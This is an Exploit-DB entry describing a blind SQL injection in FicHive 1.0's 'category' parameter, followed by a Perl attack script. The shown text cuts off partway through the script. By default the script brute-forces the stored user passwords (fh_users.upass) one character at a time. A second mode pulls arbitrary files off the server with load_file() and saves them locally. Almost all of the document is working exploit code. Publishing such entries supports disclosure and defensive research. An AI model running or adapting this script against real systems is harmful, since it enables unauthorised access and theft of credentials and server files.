Exploit-DB #5639
Description: FicHive 1.0 - 'category' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-05-17
Author: His0k4

Exploit:
#!/usr/bin/perl
#Usage: ./test.pl -url "http://localhost/[script_path]/index.php?go=Fiction&category=<valide_id>
#############################################################################
use LWP::UserAgent;
use Getopt::Long;
use IO::Handle;
use strict;
$| = 1;


###############################################################################
my $default_debug = 0;
my $default_length = 13;
my $default_method = "GET";
my $default_time = 0;
my $version = "1.1";
my $default_useragent = "bsqlbf $version";
my $default_dict = "dict.txt";
my $default_sql = "fh_users.upass";
my $default_blind ="category";
my $default_match ="Genre: All/Genre:";
###############################################################################


$| = 1;

my ($args, $abc, $solution);
my ($string, $char, @dic);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my $hits = 0; 
my $usedict = 0; 
my $amatch = 0;
my ($ua,$req);

###############################################################################
# Define GetOpt:
my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent); 
my ($dict, $start, $length, $method, $cookie,$blind);
my ($help, $bincharset, $get, $nodict);

my $options = GetOptions (
  'help!'            => \$help, 
  'url=s'            => \$url,
  'get=s'            => \$get,
  'sql=s'            => \$sql,
  'blind=s'          => \$blind,
  'match=s'          => \$match,
  'charset=s'        => \$charset,
  'start=s'          => \$start,
  'length=s'         => \$length,
  'dict=s'           => \$dict,
  'method=s'	     => \$method,
  'uagent=s'	     => \$uagent,
  'ruagent=s'	     => \$ruagent,
  'cookie=s'	     => \$cookie,
  'proxy=s'          => \$proxy,
  'proxy_user=s'     => \$proxy_user,
  'proxy_pass=s'     => \$proxy_pass,
  'rproxy=s'         => \$rproxy,
  'debug!'           => \$debug, 
  'rtime=s'          => \$rtime, 
  'time=i'           => \$time );

&help unless ($url);
&help if $help eq 1;

#########################################################################
# Default Options.
$abc              = charset();
$uagent         ||= $default_useragent; 
$debug          ||= $default_debug; 
$length         ||= $default_length; 
$solution       ||= $start;
$method         ||= $default_method;
$sql            ||= $default_sql;
$time           ||= $default_time;
$blind          ||= $default_blind;
$match          ||= $default_match;


&createlwp();
&parseurl();

if ( ! defined($blind)) {
		$lastvar = $varsb[$#varsb];
		$lastval = $vars{$lastvar};
} else {
		$lastvar = $blind;
		$lastval = $vars{$blind};
}

if (defined($cookie)) { &cookie() }



&banner();
&httpintro();


 
if ( ! $get) { &sqlget() } else { &fileget() }


sub fileget {
#ord(MID(compress(load_file(0xfilename)),1,1))
	$get =~ m,.*/(.*),;
	my $lget = $1;
	my $rsize = $start + 1;
	if (-e "$lget" && ! $start) { 
		$rsize = -s "$lget";
		print "Error: file ./$lget exists.\n"; 
		print "You can erase or resume it with: -start $rsize\n";
		exit 1
	}
	my ($fstr,$i);
	my $fsize = "";
 	$fstr = unpack("H*","$get");
	# GET size of file.
	$abc = "[PII_REDACTED]";
	for ($i=1;$i<=15;$i++) {
		my $furl;
		my $find = 0;
		foreach (split/ */,$abc) {
			$find = 0; 
			$char = ord();
			$string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)";
			if (lc($method) eq "post") {
				$vars{$lastvar} = $lastval . $string;
			}
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&createlwp if $rproxy || $ruagent;
			my $html=fetch("$furl");
			$hits++;
	    		foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
				    my $asc=chr($char);
				    $fsize .= $asc;
				    $find = 1;
				 }
				last if $find == 1;
   	 		}
			last if $find == 1;
		}
		last if $find == 0;
	}
	if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
	# starting ..
	$length = "$fsize bytes";
	$abc = "getfile [256]";
	$sql = "load_file($get)";
	&bsqlintro();
	# Get file
	open FILE, ">>$lget";
	FILE->autoflush(1);
	print "\n--- BEGIN ---\n";
	my ($i,$b,$fcontent);
	$rsize = 1 if $rsize < 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		my $find = 0;
		my ($furl, $b_start, $b_end, $z);
		for ($z=0;$z<272;$z+=16) {
			my $zz = $z + 16;
	$string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz";
			if (lc($method) eq "post") {
				$vars{$lastvar} = $lastval . $string;
			}
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&createlwp if $rproxy || $ruagent;
			my $html=fetch("$furl");
			$hits++;
			foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
					$b_start = $z;
					$b_end = $z + 16;
					$find = 1;
				}
				last if $find == 1;
   			}
			last if $find == 1;
		}
		print "$fcontent";	
		for ($b=$b_start;$b<=$b_end;$b++) {
			$find = 0; 
			$string = " and mid(load_file(0x$fstr),$i,1)=char($b)";
			if (lc($method) eq "post") {
				$vars{$lastvar} = $lastval . $string;
			}
			$furl = $url;
			$furl =~ s/($lastvar=$lastval)/$1$string/;
			&createlwp if $rproxy || $ruagent;
			my $html=fetch("$furl");
			$hits++;
	    		foreach (split(/\n/,$html)) {
 				if (/\Q$match\E/) { 
				    $fcontent = pack("C*","$b");
			   	    print FILE "$fcontent";
				    $find = 1;
				 }
				last if $find == 1;
   	 		}
			last if $find == 1;
		}
 	}
	print "\n--- END ---\n";
        close FILE;
	$solution = "success";
}



sub sqlget {
	&bsqlintro();
	$dict ||= $default_dict;
	open DICT,"$dict";  @dic=<DICT>; close DICT;
	my $i;
	$nodict = 0;
	for ($i=length($start)+1;$i<=$length;$i++) {
		my $furl;
		my $find = 0;
		$abc = charset();
		&bsqlintro if $debug == 1;
   		print "\r trying: $solution ";
		foreach (split/ */,$abc) {
			$find = 0;